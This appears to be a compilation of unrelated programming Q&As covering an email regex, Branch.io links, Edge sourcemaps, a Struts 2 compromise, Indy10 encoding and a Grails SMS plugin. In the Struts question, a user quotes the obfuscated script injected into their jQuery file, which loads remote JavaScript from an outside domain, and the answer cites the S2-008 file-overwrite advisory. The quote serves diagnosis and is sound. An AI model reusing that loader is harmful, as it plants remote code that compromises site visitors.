Expand Regular Expression snippet to allow longer TLDs - ruby-on-rails

I am working with an open source application from Foradian and while trying to add administrative users, I get an error stating that the e-mail address is invalid. I have gone through the source code and found a regex snippet that performs this check, or so I think.
/^[A-Z0-9._%-]+#([A-Z0-9-]+\.)+[A-Z]{2,4}$/i
How can I make the application accept the newer and longer TLDs such as .university, .museum, and others by altering the snippet above?

You can just remove the 4 from last check and it will just check if the ending domain have at least 2 characters.
/^[A-Z0-9._%-]+#([A-Z0-9-]+\.)+[A-Z]{2,}$/i
Here is working example.

I found this solution not long after posting the question:
^[A-Z0-9._%+-]+#[A-Z0-9.-]+\.(?:[A-Z]{2}|com|org|net|edu|gov|mil|biz|info|mobi|name|aero|asia|jobs|museum|university)$
The above allows me specify which TLDs are accepted.
For now, I've opted for the accepted solution marked above as that saves me the trouble of editing the source when newer TLDs are added.

Branch.io returns me a File Not Found

I'm trying the Branch.io API and I think I'm getting a weird problem because I'm not able to create my links properly: I can use the link for starting the app without parameter: this link http://4t3i.app.link/KDSYTMnSZs.
It works perfectly but as soon as I try to put some parameter following the doc for appending query parameters, it returns a File Not Found Webpage.
I tried:
https://4t3i.app.link/a/?&jobId=saucisse
https://4t3i.app.link/a?%24deeplink_path=article%2Fjan%2F123&%24fallback_url=https%3A%2F%2Fgoogle.com&channel=facebook&feature=affiliate&user_id=4562&name=Alex (that's the example they give)
I have the feeling I'm really missing something but no idea what. Is that so easy to add parameters: just a/ and then appending parameters??
Alex from Branch.io here:
We recently made a major back-end change to accommodate some new technical limitations that Apple imposed with iOS 9.3.1, and unfortunately it looks like we didn't fully update all our docs yet!
Your links are correct, but the /a is no longer necessary. So they would be:
https://4t3i.app.link?&jobId=saucisse
https://4t3i.app.link?%24deeplink_path=article%2Fjan%2F123&%24fallback_url=https%3A%2F%2Fgoogle.com&channel=facebook&feature=affiliate&user_id=4562&name=Alex
When you open these, you'll be able to see the link clicks coming through on this dashboard page
Thanks for noticing this. I'll make sure we get the documentation changedto reflect the new system.
Edit: also note that those examples above create new links with the specified parameters. If you simply want to append an additional parameter to an existing link, you'd do this: http://4t3i.app.link/KDSYTMnSZs?jobId=saucisse

How to debug why MS Edge/IE11 does not load sourcemap

I made some source+map concatenation and result works in Firefox and Chrome, but does not even request bundle.js.map from webserver in MS Edge and IE11.
Actual JS file is served from http://localhost:8080/bundle.js
bundle.js ends with line:
//# sourceMappingURL=bundle.js.map
Tried both end it with new line and without, does not work in both cases. Is there some checklist to look at or even some "validator"?
Microsoft Edge expects a single sourcemap comment, located at the end of the file. Your file contains two comments, which appears to cause the issue. Remove all but the final comment, and this should resolve the issue for you.
I will file a ticket to track this issue, but it's unlikely we will modify our implementation to accommodate a non-standard use of sourcemap comments. Thank you for bringing this to our attention though. We'll keep watch to see if this affects other users.

struts 2 bug gaining root access to server

been researching for quite sometime now (research not limited to this site only) but I have not seen any discussion on this "alleged" issue.
My friend told me that they found a critical issue in using struts 2 (2.2.1.1). Told me that a hacker can gain root access to your project's directory. hence he can modify the files in the projects.
I took less notice of it before. But just now, I experienced the same issue.
[Alleged Bug]: Been wondering why, after I deployed my project, all DOM elements whose events are triggered using javascript dont work after sometime. Further investigation, I found out that the jquery lib I uploaded to the server (used jquery-1.3.2.min.js) had been replaced (its content). The filename is the same but the content is something unrecognizable (at least to me), see below:
var _0xfcda=["\x3C\x53\x43\x52\x49\x50\x54\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x67\x6F\x6F\x67\x6C\x65\x61\x64\x73\x6C\x2E\x63\x6F\x6D\x2F\x73\x70\x63\x6F\x64\x65\x2F\x63\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0xfcda[1]](_0xfcda[0]);
That's when I remembered what my friend told me. Can somebody confirm if the said bug/issue is legit and explain here what it is all about and how it can be fixed. I think this is a pretty huge glitch.
NOTE: I am pretty sure that the code above is not ours. I checked my local copy, and the code is different and everything is okay in my local. Pretty sure as well that nobody else aside from me, knows the root password of the server.
NOTE: I will use the latest struts 2 release, but I think this issue, if legits, need to be discussed thoroughly as a headsup/reference to the community.
My friend told me that they found a critical issue in using struts 2
(2.2.1.1). Told me that a hacker can gain root access to your
project's directory. hence he can modify the files in the projects.
I think he was referring to one of the vulnerabilities discovered and announced on December 2011.
You can read the details in Security Bulletin S2-008.
Arbitrary File Overwrite in Struts <= 2.3.1 (ParameterInterceptor)
While accessing the flag allowStaticMethodAccess within parameters is
prohibited since Struts 2.2.3.1 an attacker can still access public
constructors with only one parameter of type String to create new Java
objects and access their setters with only one parameter of type
String. This can be abused in example to create and overwrite
arbitrary files. To inject forbidden characters into a filename an
uninitialized string property can be used.
I can't know if this is what happened to you, but it's probably what your friend was talking about.
I will use the latest struts 2 release
Then you have (almost) nothing to worry about... until the next vulnerability get discovered and disclosed, then you will need to upgrade again.
As for every software out there, always use the latest (stable) version.

How to use component from the old indy9 package

I have upgraded Indy9 to Indy10 in Delphi7. Took some time for me to change all the parts with TCP servers and clients but seems like it works nice now.
Now, i noticed one part is still not working, and thats idHTTPserver component.
Our applications web page is using a mootools library. With Indy9 idHTTPserver it works perfectly, however Indy10 does something, which makes browsers fail to display the page.
Besides some other errors, there is this nonsense error like (Firefox Error console output):
Timestamp: 2013.08.07 13:13:56
Error: SyntaxError: missing ] after element list
Source File: http://192.168.100.2:8780/lib/ui/core/mootools-1.2.4-more-yc.js
Line: 103, Column: 60
Source Code:
unction(){var b=["C?","C ","C","C?","C,","C¢","Cƒ","C£","C"","C¤","C.","C?","Ä,","ă","Ä"","Ä.","Ä?","Ä?","ÄŒ","Ĩ","C?
-------------------------------------------------------------^
The actual source code inside this .js is:
long long text ....... function(){var b=["C?","C ","C","C?","C,","C¢","Cƒ","C£","C"","C¤","C.","C?","Ä,","ă","Ä"","Ä.","Ä?","Ä?","ÄŒ","Ĩ","C?","C§","Ä?","ĸ","Ä","Ä'","Cˆ","CØ","C?","C©","CŠ","CR","C<","C«","Äš","Ä>","Ę","ÄT","Ä?","ÄŸ","CŒ","C¬","C¨","C­","C?","C®","C¸","CÆ","Ĺ","Är","Ľ","ľ","Å","Å,","C'","C±","Å?","ň","Ń","Å"","C'","C²","C"","C³","C"","C´","C.","Cµ","C-","C¶","C˜","Cø","Å'","Ř","ÅT","Å"","Å.","Å ","Å?","Å?","ÅŸ","Åš","Å>","Ť","Å?","Ť","Å?","Å¢","Å£","CT","C¹","Cš","Cr","C>","C»","Cœ","C¼","Å®","ÅÆ","Åø","Cæ","C½","C¯","Ž","ž","Ź","År","Å»","ż","C?","C¾","C","C°","CŸ","Å'","Å"","C?","C¦","Aµ"]; ................ long long text
What is happening here?
I took a deep breathe and thought, hey i could just use the old version of idHTTPserver as i still have the source files of Indy9 in the other folder.
If nobody knows how to fix the indy10 HTTPserver, could somebody please tell me how do i use the old version? Just the HTTPserver component (which surely links with 10s of other old indy files).
I tried to include the old sources, but it was becoming a mess, because it would use the idHTTPserver.pas from old version, yet idCustomHTTPserver.pas (this is what happens after i follow the uses of idHTTPserver.pas file) from new version...
To use a different Indy version in one project, set the project search path to Indy\Lib\Core, \Protocols and \System, and instantiate all components in code.
This also has the advantage that you can avoid the uninstall / install steps to switch between different Indy 10 versions.
While this is not the direct answer to my own question in title, this did solve my problem.
I followed the function HTTPserver.WriteContent which led into idHTTPServer.pas, then compared idHTTPServer.pas files of Indy9 and Indy10, the parts about encoding in Indy10 caught my attention.
At line 2039 i have removed the second argument of the write function
FConnection.IOHandler.Write(ContentText, CharsetToEncoding(CharSet));
replaced with
FConnection.IOHandler.Write(ContentText);
This solved my problem. Everything works fine now.
The main problem here was, as commenters have noticed, the extra " symbols.
I was quite stupid because i clicked the link in the firefox console and it opened the javascript file which was of wrong version and for some reason i thought this was what it was supposed to be. Only a bit later i decided to check the actual file on my PC and it turned out that "C"" was not even C, the actual text is this
var b=["À","à","Á","á","Â","â","Ã","ã","Ä","ä","Å","å","Ă","ă","Ą","ą","Ć","ć","Č","č","Ç","ç","Ď","ď","Đ","đ","È","è","É","é","Ê","ê","Ë","ë","Ě","ě","Ę","ę","Ğ","ğ","Ì","ì","Í","í","Î","î","Ï","ï","Ĺ","ĺ","Ľ","ľ","Ł","ł","Ñ","ñ","Ň","ň","Ń","ń","Ò","ò","Ó","ó","Ô","ô","Õ","õ","Ö","ö","Ø","ø","ő","Ř","ř","Ŕ","ŕ","Š","š","Ş","ş","Ś","ś","Ť","ť","Ť","ť","Ţ","ţ","Ù","ù","Ú","ú","Û","û","Ü","ü","Ů","ů","Ÿ","ÿ","ý","Ý","Ž","ž","Ź","ź","Ż","ż","Þ","þ","Ð","ð","ß","Œ","œ","Æ","æ","µ"];
So, i was right. When the whole text goes through CharsetToEncoding, it translates all these single symbol characters into 2 symbols.
I will not accept my own answer as it doesnt really answer the title question and i would love to know if its possible to use a single component of older version while the rest are newer.

When i used SMS plugin in grails i am getting error

i have service to send sms to the mobile through Application. I am getting the follwing error.
2011-06-06 19:37:35,729 [http-8080-2] ERROR sipgate.SipgateService - Server returned HTTP response code: 401 for URL: https://samurai.sipgate.net/RPC2
This probably means you are using an invalid username or password
Have you set up the config as explained on the plugin page (at the top of the documentation)?
I also assume that this means your earlier problem was solved... Can you accept the answer if my answer helped, or explain what you did to fix it if it did not?
I agree with Tim. You can only log in, if your Sipgate-Registration was verified by Sipgate.
Points, which you can check to see if your account is not working:
Try to log in on the sipgate.de webpage
Use the Perl-Client given here: http://www.sipgate.de/basic/api
The client can be downloaded at this location:http://www.sipgate.de/beta/public/static/downloads/basic/api/sipgate_api_perl_examples.zip
Hopefully you should not be able to do at least one of these things. Then you know you have to talk to the support # sipgate
The documentation on the plugin-page says, you have to have a 'conf/Config.groovy'-file. This means that you should have the basic Config.groovy file in the folder 'grails-app/conf/', which ships with every Grails installation. So my guess is that you might have created a different Config.groovy-file. So better check on the Config.groovy-file. The SMS-plugin should have generated some placeholders for you, where you need to enter your sipgate-account-data.
